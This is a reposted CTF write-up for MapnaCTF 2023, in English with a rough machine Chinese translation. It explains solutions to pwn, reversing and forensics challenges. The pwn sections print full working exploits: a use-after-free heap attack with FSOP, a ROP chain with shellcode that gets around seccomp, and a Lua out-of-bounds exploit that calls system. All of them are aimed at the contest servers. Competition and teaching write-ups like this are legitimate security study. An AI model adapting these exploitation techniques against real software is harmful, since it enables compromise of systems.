MapnaCTF 2023 Writeup

WriteUp 6个月前 admin
92 0 0

I participated in MapnaCTF, which is a CTF event sponsored by Mapna group and hosted by ASIS team. I played it as a member of BunkyoWesterns *1 and stood 1st place 🙂
我参加了MapnaCTF,这是一个由Mapna集团赞助,ASIS团队主办的CTF活动。我作为BunkyoWesterns *1的成员玩了它,并获得了第一名:)

MapnaCTF 2023 Writeup
BunkyoWesterns’ cat is cute
文京西部的猫很可爱

MapnaCTF 2023 Writeup
街中でサトちゃんを見つけた人には幸運が訪れると言われている。
据说,在街上找到佐藤的人会得到好运。

The pwnable tasks (presumably) written by parrot were interesting yet beginner-friendly 👍👍👍
Parrot写的可完成的任务(大概)很有趣,但对初学者很友好。

Pwnable 普恩纳布尔

Buggy Paint (16 solves)
Buggy Paint(16 solves)

The program is a paint-like application where you can draw some rectangles on a canvas. We can allocate and store the following structure into each pixels in the canvas.
该程序是一个类似油漆的应用程序,您可以在画布上绘制一些矩形。我们可以将以下结构分配和存储到画布中的每个像素中。

MapnaCTF 2023 Writeup

Each rectangle has its position, size, color, and a byte array. If we select a rectangle, we can edit or show its byte array.
每个矩形都有自己的位置、大小、颜色和字节数组。如果我们选择一个矩形,我们可以编辑或显示它的字节数组。

MapnaCTF 2023 Writeup

The bug lies in delete function. As you can find in the figure below, it doesn’t check if the deleted rectangle is selected at the moment. This will result in Use-after-Free accessing a deleted rectangle in edit and show functions.
错误在于删除功能。正如你可以在下图中发现的,它不会检查删除的矩形是否被选中。这将导致在编辑和显示功能中访问已删除的矩形时执行释放后重新搜索。

MapnaCTF 2023 Writeup

I simply overlapped a rectangle object with byte array, with which I could overwrite the pointer of the rectangle’s data array. In this way we can get AAW primitive.
我只是简单地用字节数组覆盖一个矩形对象,这样我就可以覆盖矩形数据数组的指针。这样我们就可以得到AAW原语。

from ptrlib import *
# Utility functions
not important, redacted
libc = ELF(“./libc.so.6”)
#sock = Process(“./chall”)
sock = Socket(“nc 3.75.185.198 2000”)
# Leak heap
create(0, 0, 0x10, 2, 1, b“A”*0x20)
create(1, 0, 0x10, 2, 1, b“B”*0x20)
create(9, 9, 0x10, 2, 1, b“C”*0x20)
select(0, 0)
delete(0, 0)
heap_base = u64(show()[:8]) << 12
logger.info(“heap = “ + hex(heap_base))
# Leak libc
select(1, 0)
delete(1, 0)
target = heap_base + 0x360
edit(p64(target ^ (heap_base >> 12)))
create(2, 0, 0x10, 2, 1, p64(0x431)*4)
create(1, 0, 0x10, 2, 1, b“D”*0x20)
payload = p64(0x21)*((0x20 * 0x1e) // 8)
create(0, 0, 0x20, 0x1e, 1, payload)
select(1, 0)
delete(1, 0)
libc.base = u64(show()[:8]) – libc.main_arena() – 0x60
# Create AAW
payload = b“X”*0x20
payload += p64(9) + p64(9) + p64(heap_base) + p64(0x10) + p64(2)
payload += p64(heap_base + 0x3c0)
payload += p64(0) + p64(0x31)
payload += b“X”*(0x90len(payload))
payload += p64(0) # x
payload += p64(0) # y
payload += p64(heap_base)
payload += p64(0xe0) # width
payload += p64(1) # height
payload += p64(libc.symbol(“_IO_2_1_stderr_”))
create(2, 2, 0x10, 0x10, 1, payload)
# FSOP
not important, redacted
select(0, 0)
edit(payload)
# Win
sock.sendlineafter(“> “, “6”)
sock.sh()

First blood 🩸 第一滴血

Protector (12 solves) 保护器(12解决)

This challenge is so straightforward that I can’t understand why only 12 teams solved it*2.
这个挑战是如此简单,我不明白为什么只有12个团队解决了它 *2。

The challenge is a simple stack buffer overflow with seccomp enabled. The flag is located in maze folder where many other dummy files exist.
挑战是一个简单的堆栈缓冲区溢出与seccomp启用。该标志位于 maze 文件夹中,其中存在许多其他虚拟文件。

Since mprotectopenreadwritegetdents are allowed, we can search for the flag in the directory.
由于允许使用 mprotect 、 open 、 read 、 write 、 getdents ,因此我们可以在目录中搜索标志。

from ptrlib import *
elf = ELF(“./chall”)
while True:
#sock = Process(“./chall”)
sock = Socket(“nc 3.75.185.198 10000”)
#sock = Socket(“localhost”, 5000)
addr_rop1 = 0x4040a0
size = 0x400
# Stage 1
payload = b“A”*0x28
payload += flat([
# read(0, addr_rop1, size)
next(elf.gadget(“pop rdi; pop rsi; pop rdx; ret;”)),
0, addr_rop1, size,
elf.plt(“read”),
# read(0, read@got, 2)
next(elf.gadget(“pop rdi; pop rsi; pop rdx; ret;”)),
0, elf.got(“read”), 2,
elf.plt(“read”),
# rsp = addr_rop1-8
next(elf.gadget(“pop rbp; ret;”)),
addr_rop1 – 8,
next(elf.gadget(“leave; ret;”))
], map=p64)
payload += b“A” * (0x98len(payload))
sock.sendafter(“Input: “, payload)
# Stage 2
payload = flat([
# mprotect(0x404000, 0x1000, 7)
next(elf.gadget(“pop rdi; pop rsi; pop rdx; ret;”)),
0x404000, 0x1000, 7,
elf.plt(“read”),
# shellcode
0x4040d0
], map=p64)
payload += nasm(f“””
xor esi, esi
lea rdi, [rel maze]
mov eax, {syscall.x64.open}
syscall
mov r13, rax
cld
lp:
mov edx, 0x40
lea rsi, [rel data]
mov rdi, r13
mov eax, {syscall.x64.getdents}
syscall
test eax, eax
jz end
mov dword [rel data + 18 – 5], ‘maze’
mov byte [rel data + 18 – 1], ‘/’
xor esi, esi
lea rdi, [rel data + 18 – 5]
mov eax, {syscall.x64.open}
syscall
mov edx, 0x100
lea rsi, [rel data]
mov edi, eax
mov eax, {syscall.x64.read}
syscall
test rax, rax
jle lp
mov edx, eax
mov edi, 1
mov eax, {syscall.x64.write}
syscall
jmp lp
end:
xor edi, edi
mov eax, {syscall.x64.exit_group}
syscall
maze: db “./maze”, 0
data:
“””, bits=64)
payload += b“A” * (size – len(payload))
sock.send(payload)
# read –> mprotect
sock.send(b\xa0\xaa)
try:
print(sock.recvonce(4, timeout=2))
except TimeoutError:
sock.close()
continue
sock.sh()
break

By the way, my exploit partially overwrites GOT entry of read to create a pointer to mprotect. I thought it would require brute force of 4-bit entropy because only 12 bits out of the 2 bytes are fixed.
顺便说一下,我的漏洞部分覆盖了GOT条目 read ,以创建指向 mprotect 的指针。我认为这将需要4位熵的蛮力,因为2个字节中只有12位是固定的。

The funny thing, however, is that it didn’t require brute force thanks to the broken ASLR:
然而,有趣的是,由于破碎的ASLR,它不需要蛮力:

First blood 🩸 第一滴血

U2S (2 solves) U2S(2个解决方案)

I think this challenge is very educational and is a good introduction to exploiting Lua.
我认为这个挑战很有教育意义,是开发Lua的一个很好的入门。

The following patch introduced a bug.
下面的补丁程序引入了一个bug。

diff –git a/src/lvm.h b/src/lvm.h
index dba1ad2..485b5aa 100644
— a/src/lvm.h
+++ b/src/lvm.h
@@ -96,7 +96,7 @@ typedef enum {
#define luaV_fastgeti(L,t,k,slot) \
(!ttistable(t) \
? (slot = NULL, 0) /* not a table; ‘slot’ is NULL and result is 0 */ \
– : (slot = (l_castS2U(k) – 1u < hvalue(t)->alimit) \
+ : (slot = (l_castU2S(k) – 1u < hvalue(t)->alimit) \
? &hvalue(t)->array[k – 1] : luaH_getint(hvalue(t), k), \
!isempty(slot))) /* result not empty? */

The macro luaV_fastgeti is used for getting an element of an array. S2U means “signed to unsigned”, and U2S means “unsigned to signed.” This apparently causes type mismatch.
宏 luaV_fastgeti 用于获取数组的元素。 S2U 表示“signed to unsigned”, U2S 表示“unsigned to signed”。“这显然会导致类型不匹配。

In fact, it allows negative out-of-bounds access of array.
实际上,它允许数组的负越界访问。

Sadly, another patch disables leaking pointers through tostring function that I often use when exploting Lua.
可悲的是,另一个补丁禁止泄漏指针通过 tostring 函数,我经常使用时,利用Lua。

diff –git a/src/lapi.c b/src/lapi.c
index 34e64af..b1501c8 100644
— a/src/lapi.c
+++ b/src/lapi.c
@@ -473,18 +473,7 @@ LUA_API lua_State *lua_tothread (lua_State *L, int idx) {
** conversion should not be a problem.)
*/
LUA_API const void *lua_topointer (lua_State *L, int idx) {
– const TValue *o = index2value(L, idx);
– switch (ttypetag(o)) {
– case LUA_VLCF: return cast_voidp(cast_sizet(fvalue(o)));
– case LUA_VUSERDATA: case LUA_VLIGHTUSERDATA:
– return touserdata(o);
– default: {
– if (iscollectable(o))
– return gcvalue(o);
– else
– return NULL;
– }
– }
+ return NULL;
}

So, the first thing we need to do is leaking some addresses.
所以,我们要做的第一件事就是泄露一些地址。

In order to make the exploit stable, I always spray data to consume freed chunks:
为了使漏洞稳定,我总是喷射数据来消耗释放的块:

— Consume all freed chunks
local allocator = string.rep(“A”, 0x1000)
collectgarbage()
local consume = {}
local consume_i = 0
for size = 0x800, 0x10, –0x10 do
for i = 1, 8 do
consume_i = consume_i + 1
consume[consume_i] = string.sub(allocator, -size)
end
end
for i = 1, 0x20 do
consume_i = consume_i + 1
consume[consume_i] = { 0xdead }
end
for i = 1, 0x80 do
consume_i = consume_i + 1
consume[consume_i] = string.sub(allocator, –0x40) .. “xx”
end
consume[0] = string.sub(allocator, –0x20) .. “xx”
local gorilla = {};

In this way, continuous region will be carved out from heap when allocating objects. For example, assume that we allocate a string and an array like this:
这样,在分配对象时,连续区域将从堆中分割出来。例如,假设我们像这样分配一个字符串和一个数组:

local leak = string.rep(“C”, 0x30)
local evil = {3.14, 3.14, 3.14, 3.14}

Then, the memory layout looks like this:
然后,内存布局看起来像这样:

MapnaCTF 2023 Writeup

Thanks to the heap spray, offset between the string data and the array data is fixed. So, we can create addrof/fakeobj primitive easily.
由于堆喷射,字符串数据和数组数据之间的偏移量是固定的。因此,我们可以很容易地创建addrof/fakeobj原语。

Lua value is a pair of pointer and type.
Lua值是一对指针和类型。

#define TValuefields Value value_; lu_byte tt_
typedef struct TValue {
TValuefields;
} TValue;

The value of a built-in function is function pointer. So, if we set a built-in function out-of-bounds in the array, we can leak the pointer from string. (Addrof primitive)
内置函数的值是函数指针。所以,如果我们在数组中设置一个内置函数越界,我们可以从字符串中泄漏指针。(Addrof原语)

— Leak proc base
local leak = string.rep(“C”, 0x30)
local evil = {3.14, 3.14, 3.14, 3.14}
evil[-7] = print
local proc_base = u64(string.sub(leak, 9, 16)) – 0x376d4
print(proc_base)

Similarly, we can get an element out-of-bounds to refer to a fake object. (Fakeobj primitive)
类似地,我们可以让一个元素越界来引用一个假对象。(Fakeobj原语)

— Call fake func
local fake = p64(0)
.. p64(proc_base + 0x6670) .. p64(0x16) — fake built-in function (system@plt)
local evil = {1.11, 1.11, 1.11, 1.11}
(evil[-5])()

I could have just called os.execute because the source code is built as debug mode. However, I thought the feature was optimized out and decided to call system directly. (and yeah it’s more practical in real-world examples!)
我可以直接调用 os.execute ,因为源代码是以调试模式构建的。然而,我认为这个功能已经优化了,并决定直接调用 system 。(and是的,它在现实世界的例子中更实用!)

So, if you’re reading this article to get the flag, you can simply call os.execute and skip the rest of this writeup. If you’re interested in how to make AAR/AAW primitives in Lua, you can continue reading it 🙂
因此,如果您正在阅读本文以获取标志,您可以简单地调用 os.execute 并跳过本文的其余部分。如果你对如何在Lua中创建AAR/ AAW原语感兴趣,你可以继续阅读它:)

The first argument passed to the (fake) built-in function is lua_State:
传递给(假)内置函数的第一个参数是 lua_State :

MapnaCTF 2023 Writeup

If we copy our command string into this variable and call system, we will get the flag. Lua interpreter has only one state and it’s stored in a global variable named globalL:
如果我们将命令串复制到这个变量中并调用system,我们将获得标志。Lua解释器只有一个状态,它存储在一个名为 globalL 的全局变量中:

MapnaCTF 2023 Writeup

Since we have the program base address, we can leak it by making AAR primitive.
因为我们有程序基址,我们可以通过创建AAR原语来泄漏它。

Making AAR primitive is a bit tricky because each Lua value must have a valid type. Meanwhike, making AAW primitive is simple because we don’t need to care about the type.
创建AAR原语有点棘手,因为每个Lua值都必须有一个有效的类型。同时,使AAW成为原语很简单,因为我们不需要关心类型。

To read a value from memory, we have to first write the type (LUA_NUMBER) to the address plus 8. (For more details, you can check this article that I wrote before.)
要从内存中读取一个值,我们必须首先将类型( LUA_NUMBER )写入地址加8。(For更多的细节,你可以查看我之前写的这篇文章。

The following code will leak the address of globalL:
下面的代码将泄漏 globalL 的地址:

— Leak lua state
local fake_func = p64(0)
.. p64(proc_base + 0x6670) .. p64(0x16) — fake function
.. p64(addr_fake_table + 0x20) .. p64(0x45) — fake table 1
.. p64(addr_fake_table + 0x50) .. p64(0x45) — fake table 2
local satoki = {2.17, 2.17, 2.17, 2.17}
satoki[-5][1] = 0x13
— Read float as bytes
evil[-6] = satoki[-6][1]
local addr_state = u64(string.sub(leak, 25, 32))
print(addr_state)

Let’s write our command string to globalL. We need to call /readflag to get the flag. I wrote /readf* instead because it requires just a single write.
让我们将命令字符串写入 globalL 。我们需要打电话给 /readflag 去拿旗子。我写了 /readf* ,因为它只需要一次写入。

— Call fake func
local fake = p64(0)
.. p64(proc_base + 0x6670) .. p64(0x16) — system
.. p64(addr_fake_table2 + 0x20) .. p64(0x45)
local sugiyama = {1.11, 1.11, 1.11, 1.11}
sugiyama[-5][1] = 7.342735162138363e-308 — “/readf*\0”
(sugiyama[-6])()

Full exploit: 充分利用:

function pwn()
— Utility
function p64(v)
local s = “”;
for i = 0, 7 do
s = s .. string.char((v >> (i * 8)) & 0xff)
end
return s;
end
function u64(s)
local v = 0
for i = 0, 7 do
v = v + (string.byte(s, i+1) << (i*8))
end
return v;
end
— Consume all freed chunks
local allocator = string.rep(“A”, 0x1000)
collectgarbage()
local consume = {}
local consume_i = 0
for size = 0x800, 0x10, –0x10 do
for i = 1, 8 do
consume_i = consume_i + 1
consume[consume_i] = string.sub(allocator, -size)
end
end
for i = 1, 0x20 do
consume_i = consume_i + 1
consume[consume_i] = { 0xdead }
end
for i = 1, 0x80 do
consume_i = consume_i + 1
consume[consume_i] = string.sub(allocator, –0x40) .. “xx”
end
consume[0] = string.sub(allocator, –0x20) .. “xx”
local gorilla = {};
— Leak proc base
local leak = string.rep(“C”, 0x30)
local evil = {3.14, 3.14, 3.14, 3.14}
evil[-7] = print
local proc_base = u64(string.sub(leak, 9, 16)) – 0x376d4
print(proc_base)
— Leak fake table
local fake_table = p64(0)
.. p64(0) — fake table 1
.. p64(0x00000004003f1005)
.. p64(proc_base + 0x50050) — globalL
.. p64(proc_base + 0x42510)
.. p64(0) .. p64(0)
.. p64(0) — fake table 2
.. p64(0x00000004003f1005)
.. p64(proc_base + 0x50058) — globalL + 8
.. p64(proc_base + 0x42510)
.. p64(0) .. p64(0)
evil[-6] = fake_table
local addr_fake_table = u64(string.sub(leak, 25, 32))
print(addr_fake_table)
— Leak lua state
local fake_func = p64(0)
.. p64(proc_base + 0x6670) .. p64(0x16) — fake function
.. p64(addr_fake_table + 0x20) .. p64(0x45) — fake table 1
.. p64(addr_fake_table + 0x50) .. p64(0x45) — fake table 2
local satoki = {2.17, 2.17, 2.17, 2.17}
satoki[-5][1] = 0x13
print(satoki[-6][1])
— Read float as bytes
evil[-6] = satoki[-6][1]
local addr_state = u64(string.sub(leak, 25, 32))
print(addr_state)
— Leak fake table
local fake_table2 = p64(0)
.. p64(0) — fake table 3
.. p64(0x00000004003f1005)
.. p64(addr_state) — target
.. p64(proc_base + 0x42510)
.. p64(0) .. p64(0)
evil[-6] = fake_table2
local addr_fake_table2 = u64(string.sub(leak, 25, 32))
print(addr_fake_table2)
— Call fake func
local fake = p64(0)
.. p64(proc_base + 0x6670) .. p64(0x16) — system
.. p64(addr_fake_table2 + 0x20) .. p64(0x45)
local sugiyama = {1.11, 1.11, 1.11, 1.11}
sugiyama[-5][1] = 7.342735162138363e-308 — “/readf*\0”
(sugiyama[-6])()
end
pwn()
— EOF —

First blood 🩸 第一滴血

Reversing 换向

Compile Me! (142 solves)
编译我!(142求解)

Compile the given C code and feed the code to stdin to get the flag. Note that you don’t need to append newline in the code.
编译给定的C代码并将代码提供给stdin以获取标志。请注意,您不需要在代码中追加新行。

Heaverse (42 solves) 重(42解决)

The program looks like a custom VM but just implements meaningless instructions like making a sound or sleeping for a while. I checked the stack and found the flag encoded with morse.
该程序看起来像一个自定义VM,但只是实现了一些无意义的指令,比如发出声音或睡一会儿。我检查了堆栈发现了用莫尔斯编码的旗帜。

MapnaCTF 2023 Writeup

First blood 🩸 第一滴血

Prism (23 sovles) 棱镜(23 sovles)

The program just prints “Your mission is to find the flag! Try harder!!”. The function that prints this string is located at 0x31c0. The string is encoded with XOR cipher.
程序只是打印“你的使命是找到国旗!再努力一点!“.打印此字符串的函数位于0x 31 c 0。字符串使用XOR密码进行编码。

MapnaCTF 2023 Writeup

I looked over other functions and found 0x3330 prints the flag.
我查看了其他函数,发现0x 3330打印了标志。

MapnaCTF 2023 Writeup

First blood 🩸 第一滴血

Tetim (7 solves) Tetim(7解决方案)

The program accepts a binary file and outputs a PNG file. Since the binary is compiled by Zig, I decided to analyze it dynamically without reading the code.
程序接受二进制文件并输出PNG文件。由于二进制文件是由Zig编译的,所以我决定在不阅读代码的情况下动态分析它。

I wrote a code like this:
我写了一段这样的代码:

import os
from PIL import Image
with open(“a.bin”, “wb”) as f:
f.write(b\x80\x40\x10\x20\x01\x02\x02\x04\x04\x05)
os.system(“./tetim.elf embed a.bin”)
img = Image.open(“a.bin.enc”)
print(img.size)
print(“-“*8)
for y in range(img.size[1]):
for x in range(img.size[0]):
print(img.getpixel((x, y)))
print(“-“*16)

It turned out that each byte is mapped to color code of each pixel. (The output is sometimes different but mostly the same.)
原来,每个字节都映射到每个像素的颜色代码。(The输出有时不同,但大部分相同)。

from PIL import Image
img = Image.open(“secret.enc”)
data = b“”
for y in range(img.size[1]):
for x in range(img.size[0]):
c = img.getpixel((x, y))
data += bytes([c[0]])
print(data)

Output: 输出量:

b'IPEG (/\xcb\x88d\xc9\x91e\xc9\xaaq\xc9\x9b\xc9\xa1/!JAY-oeg,\x1fshort\x1ffor Joint Photohraphic Fxperts Grotp)[2] hs a comlonly ured method of lossy compresrion epr digital imahes, paruicularmy for those images produced by\x1fdigital photography. The degree\x1fof compqessioo!can be adiusted+ allowing a!selectable sradeoff between storage size\x1fand image qualitx. JPEG szpicakly achievet\x1f10:1 compression\x1fwith ljttle oerceptible loss hn imafe qvalitx.\\3] Since its introcuction!jn 1992, JPEG has bfen the moss widely used image conpressinn ssandard in the world,[4][5] and she most widely used digital image form`t, witi several billinn JPEG hm`ges proeuced euery day as!of 2015.[6]\n\nThe Joint Photographic Experts Group created tie standard in 1992.[7] JPEG was largely responshble for she proliferation pe digital images and digital phosos across\x1fuhe Hnternet and later social media.[8][circular referfnce] IPEG compression js used in a numbds of image file formats. JPEG/Exif is the!mort common image format utfc by\x1fdigital c`meras and other photographic inagf capttre devices; alonf xhth JPEG/JFIE, it is the nost cnmmnn foqmat fpr stosing and uranslitsing photographic images on the Wprld Wide Web.[9] These form`t varibtions are often npu cistinguished and arf sjmply\x1fcalled JPEG.\n\nThe MIME meeia type foq JPEG is "imagf/jpeg," except in!older Ioternet Dxplorer versions, whjch providd a MIMD\x1ftype of "image/pjpeg" when uploading JPEG hmahes/[10] JOEG files usuallz gave a filename\x1fextenshom of "ipg" or "jpeg!. JPEG/JFIF supoorts ` laximum image tize!of 65,635\xc3\x9765,535 pixels,[11] hence up to 4!gigapixels for `n aspebt ratjo of 1:1. In 3000+ the IPEG group introcuced a format intended to be a successor, KPEG 2000, but\x1fiu was unabld to rdplace the original\x1fJPFG as thd!dominant image rtbndard.\n\nMAPNA{__ZiG__JPEG^!M49e_3nD0DeR_rEv3R5e!!!}\n+++++++++++*++++++++*++++++++,++++++++++,+\nMAPNA{__ZiG__JPEG_!M49e_3nC0DdR_rEv3R5e!!!}\n++++++++++++++++++++++++++++++++++++++++++\nMAPNA{`_ZiG__KPEG_!M49e_3nC0DeR_rEv3R5e"!!}\n++++*++,+,+,+++++++++*+++++++++++++++++,++\nMAPNA{__ZiG__JOEG_!M39e_2nC1DeR^rEv3R5e"! }\n++*+++++++++,+++++++++++++++++++++++++++++====<=='

I chose words that makes sense and it was correct:
我选择了有意义的词,它是正确的:

MAPNA{__ZiG__JPEG_!M49e_3nC0DeR_rEv3R5e!!!}

First blood 🩸 第一滴血

Forensics 取证

Mitrek (2 solves) Mitrek(2个解决方案)

It’s been a while since I last solved guessy forensics challenges 🙂
我已经有一段时间没有解决猜测的法医挑战了:)

We’re given a pcap file which contains only 2 streams of UDP packets communicating over localhost on port 31337 and 31338. Each packet looks like this:
我们给出了一个pcap文件,其中仅包含通过端口31337和31338上的本地主机通信的2个UDP数据包流。每个数据包看起来像这样:

MapnaCTF 2023 Writeup

Reading some of them, I noticed the packet structure:
阅读其中一些,我注意到数据包的结构:

typedef struct {
  u8 size;
  u32 always_one;
  u8 size_minus_2;
  u8 seq_number;
  u8 type;
  u8 contents[0]; // size-7 bytes
} packet_t;

I found type represents what kind of packet is means:
我发现 type 代表什么样的数据包是指:

  • F: Sends file name to be saved
    F :发送要保存的文件名
  • D: Data  D :数据
  • Y: Accepted  Y :已接受
  • N: Denied  N :拒绝
  • S: Unknown (Handshake?)
    S :未知(握手?)

I wrote script that dumps the sent files based on the rule above.
我写了一个脚本,根据上面的规则转储发送的文件。

from scapy.all import *
from ptrlib import *
filename = None
output = {}
fixed = {}
gorira = None
def analyze(pkt):
global filename, output, fixed, gorira
if pkt[UDP].sport < pkt[UDP].dport:
pair = pkt[UDP].sport, pkt[UDP].dport
else:
pair = pkt[UDP].dport, pkt[UDP].sport
payload = bytes(pkt[UDP][Raw].load)
size = payload[0]
seq = payload[6]
type = payload[7]
data = payload[8:1+size]
if pkt[UDP].dport == 31337:
#print(pkt[UDP].sport, pkt[UDP].dport, seq, data)
gorira = pkt[UDP].sport, pkt[UDP].dport, seq, data
if size == 18: # heuristic
return
if type == ord(‘F’) or type == 0: # ignore file name and garbage
filename = data
output[(pair, filename)] = {}
fixed[(pair, filename)] = set()
return
if type == ord(‘N’) or type == ord(‘Y’):
if type == ord(‘Y’):
#print(gorira)
if (pair, filename) in fixed:
fixed[(pair, filename)].add(seq)
#print(pkt[UDP].sport, pkt[UDP].dport, seq, data[:0x10])
if type == ord(‘D’): # data
if seq not in fixed:
output[(pair, filename)][seq] = data
sniff(offline=“mitrek”, store=0, prn=analyze)
for key in output:
pair, filename = key
if len(output[key]) == 0: continue
f = open(filename.strip(b\x00).decode() + str(pair[0]), “wb”)
for seq in output[key]:
if seq in fixed[(pair, filename)]:
f.write(output[key][seq])

The script saves 3 files and we can find each piece of flag image.
该脚本保存3个文件,我们可以找到每一个国旗图像。

First blood 🩸 *3 第一滴血 *3🩸

*1:a joke team not relevant to TokyoWesterns at all
*1:一个与东京西部片完全无关的笑话团队

*2:Probably because it’s released later
*2:可能是因为它是后来发布的

*3:The distributed file was wrong at first and kanon kindly stole my first blood when the file was updated 🥲
*3:分发的文件是错误的,在第一次和卡农善意地偷了我的第一血时,文件更新

原文始发于Hatena BlogMapnaCTF 2023 Writeup

版权声明:admin 发表于 2024年1月24日 上午10:21。
转载请注明:MapnaCTF 2023 Writeup | CTF导航

相关文章